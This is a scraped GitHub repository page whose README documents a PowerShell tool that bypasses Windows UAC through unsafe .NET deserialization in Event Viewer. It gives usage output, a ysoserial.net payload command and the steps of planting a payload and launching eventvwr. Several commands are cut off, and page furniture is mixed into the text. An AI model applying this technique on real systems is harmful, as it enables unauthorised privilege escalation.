


Product ▾ Solutions ▾ Resources ▾ Open Source ▾ Enterprise ▾ Pricing

🔍

Sign in

Sign up

CsEnox / EventViewer-UACBypass

Public

🔔 Notifications

🍴 Fork 21

★ Star 168

<> Code

🕒 Issues

🔗 Pull requests

🎬 Actions

📁 Projects

🛡 Security

📈 Insights

🔗 main ▾


🔗

📁

🔍

Go to file

<> Code ▾

CsEnox

Update README.md

46d9eb3 · 2 years ago

🕒 11 Commits

📄 Invoke-EventViewer.ps1

Execution Policy Update

2 years ago

📄 README.md

Update README.md

2 years ago

📖 README

☰

EventViewer-UACBypass

- RCE through Unsafe .Net Deserialization in Windows Event Viewer which leads to UAC bypass.
- Full credits to [Orange Tsai](#)

Usage

```
PS C:\Windows\Tasks> Import-Module .\Invoke-EventViewer.ps1

PS C:\Windows\Tasks> Invoke-EventViewer
[-] Usage: Invoke-EventViewer commandhere
Example: Invoke-EventViewer cmd.exe

PS C:\Windows\Tasks> Invoke-EventViewer cmd.exe
[+] Running
[1] Crafting Payload
[2] Writing Payload
[+] EventViewer Folder exists
[3] Finally, invoking eventvwr
```

Working

i) First, the script adds commands to be run to the file `C:\Windows\Tasks\EventViewerRCE.ps1`


- `Stop-Process -name mmc*` : Is used to close Microsoft Management Console.
- After that the command to be executed is added.

ii) Then it crafts payload which runs `C:\Windows\Tasks\EventViewerRCE.ps1` script. The base64 payload was generated using [ysoserial.net](#):

```
ysoserial.exe -o base64 -f BinaryFormatter -g DataSet -c "powershell
```

- The base64 output from ysoserial.net is decoded and stored in `C:\Windows\Tasks\p4yl0ad`
- The powershell encoded command decodes to :

About

Orange Tsai EventViewer RCE

📖 Readme

📈 Activity

★ 168 stars

👁 5 watching

🍴 21 forks

Report repository

Releases

No releases published

Packages

No packages published

Languages

● PowerShell 100.0%

Page 1 of 2

```
Set-ExecutionPolicy Bypass -Scope CurrentUser; C:\Windows\Tasks\Even
```



iii) When `WriteFile` function is executed, it checks if the `Event Viewer` folder exists in AppData and if it doesn't then we create the folder. Finally storing our base64 decoded payload in `RecentViews` file under this folder.

iv) In the end, `eventvwr` is executed which then executes our payload.

Reference



© 2024 GitHub, Inc.

[Terms](#)

[Privacy](#)

[Security](#)

[Status](#)

[Docs](#)

[Contact](#)

[Manage cookies](#)

[Do not share my personal information](#)